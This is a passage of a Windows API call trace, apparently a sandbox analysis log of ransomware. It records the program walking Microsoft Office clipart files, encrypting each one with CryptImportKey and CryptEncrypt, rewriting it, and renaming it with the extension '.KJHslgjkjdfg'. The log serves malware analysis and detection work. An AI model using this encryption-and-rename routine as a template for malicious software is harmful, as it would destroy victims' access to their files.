(in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.kjhslgjkjdfg")) returned 1 [0214.630] CloseHandle (hObject=0x130) returned 1 [0214.630] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1 [0214.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.631] GetProcessHeap () returned 0x2ef0000 [0214.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.632] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.632] GetProcessHeap () returned 0x2ef0000 [0214.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.632] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.632] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.632] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.636] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.636] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.636] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ae0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ae0, lpOverlapped=0x0) returned 1 [0214.637] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ae0, dwBufLen=0x1ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ae0) returned 1 [0214.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.638] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ae0, lpOverlapped=0x0) returned 1 [0214.638] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.638] SetEndOfFile (hFile=0x130) returned 1 [0214.641] GetProcessHeap () returned 0x2ef0000 [0214.641] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.641] GetProcessHeap () returned 0x2ef0000 [0214.641] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.kjhslgjkjdfg")) returned 1 [0214.643] CloseHandle (hObject=0x130) returned 1 [0214.643] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1 [0214.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.644] GetProcessHeap () returned 0x2ef0000 [0214.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.644] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0214.647] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.647] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.647] GetProcessHeap () returned 0x2ef0000 [0214.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.647] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.647] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.647] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.648] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.648] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.649] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5044, lpOverlapped=0x0) returned 1 [0214.650] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5050, dwBufLen=0x5050 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5050) returned 1 [0214.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.650] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5050, lpOverlapped=0x0) returned 1 [0214.651] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.651] SetEndOfFile (hFile=0x130) returned 1 [0214.654] GetProcessHeap () returned 0x2ef0000 [0214.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.654] GetProcessHeap () returned 0x2ef0000 [0214.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.kjhslgjkjdfg")) returned 1 [0214.656] CloseHandle (hObject=0x130) returned 1 [0214.657] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1 [0214.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.658] GetProcessHeap () returned 0x2ef0000 [0214.658] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.658] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.658] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0214.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.663] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.663] GetProcessHeap () returned 0x2ef0000 [0214.663] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.663] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.663] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.663] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.664] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.664] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.664] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.664] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.665] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.665] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.665] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a42, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a42, lpOverlapped=0x0) returned 1 [0214.666] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a50) returned 1 [0214.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.666] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a50, lpOverlapped=0x0) returned 1 [0214.667] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.667] SetEndOfFile (hFile=0x130) returned 1 [0214.670] GetProcessHeap () returned 0x2ef0000 [0214.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.670] GetProcessHeap () returned 0x2ef0000 [0214.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.kjhslgjkjdfg")) returned 1 [0214.672] CloseHandle (hObject=0x130) returned 1 [0214.672] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1 [0214.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.674] GetProcessHeap () returned 0x2ef0000 [0214.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.674] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.674] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0214.676] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.677] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.677] GetProcessHeap () returned 0x2ef0000 [0214.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.677] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.677] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.677] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.677] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.678] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.678] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xeaa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xeaa, lpOverlapped=0x0) returned 1 [0214.678] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xeb0) returned 1 [0214.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.678] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xeb0, lpOverlapped=0x0) returned 1 [0214.678] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.678] SetEndOfFile (hFile=0x130) returned 1 [0214.681] GetProcessHeap () returned 0x2ef0000 [0214.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.681] GetProcessHeap () returned 0x2ef0000 [0214.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.kjhslgjkjdfg")) returned 1 [0214.683] CloseHandle (hObject=0x130) returned 1 [0214.683] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0214.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: 